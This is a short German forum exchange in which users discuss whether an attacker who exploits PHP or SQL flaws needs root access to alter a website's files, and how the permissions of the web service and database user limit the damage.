Nein, Zugang zum Ändern der Dateien reicht. Dafür braucht man keine root-Rechte, weil die Dateien normalerweise nicht nur von root änderbar sind.
Sqwan schrieb:
Und irgendwie muss der ja dann das Root-PW rausbekommen haben oder?
Nein, das root-Passwort ist nur eine Möglichkeit von vielen, root-Zugang zu bekommen. Normalerweise bekommt ein Angreifer aber nicht root-Zugang, wenn er PHP-Lücken ausnutzt.
-
Es kommt natürlich auf die Lücke an. In den meissten Fällen wird es wohl PHP oder SQL sein das irgendwie zur Ausführung gebracht wird. Wie viel Schaden man dann damit anrichten kann hängt dann davon ab, welche Berechtigungen der Dienst bzw der aktive DB-User auf der Maschine hat.
-
Cpp_Junky schrieb:
Es kommt natürlich auf die Lücke an. In den meissten Fällen wird es wohl PHP oder SQL sein das irgendwie zur Ausführung gebracht wird. Wie viel Schaden man dann damit anrichten kann hängt dann davon ab, welche Berechtigungen der Dienst bzw der aktive DB-User auf der Maschine hat.
Klar. Aber Webservices mit root-Rechten laufen zu lassen ist seit gut einem Jahrzehnt auch unter drittklassigen Sysadmins nicht mehr üblich.
-
Auch die Rechte lassen sich exploiten
Wenn man den Exploit schon mal hat, kann man auch gleich die benötigten Rechte dazu sich zusammenklauen.
Muss also garnicht sein, das der Wirtsdienst schon die Rechte hat, auch wenns dass natürlich einfacher macht.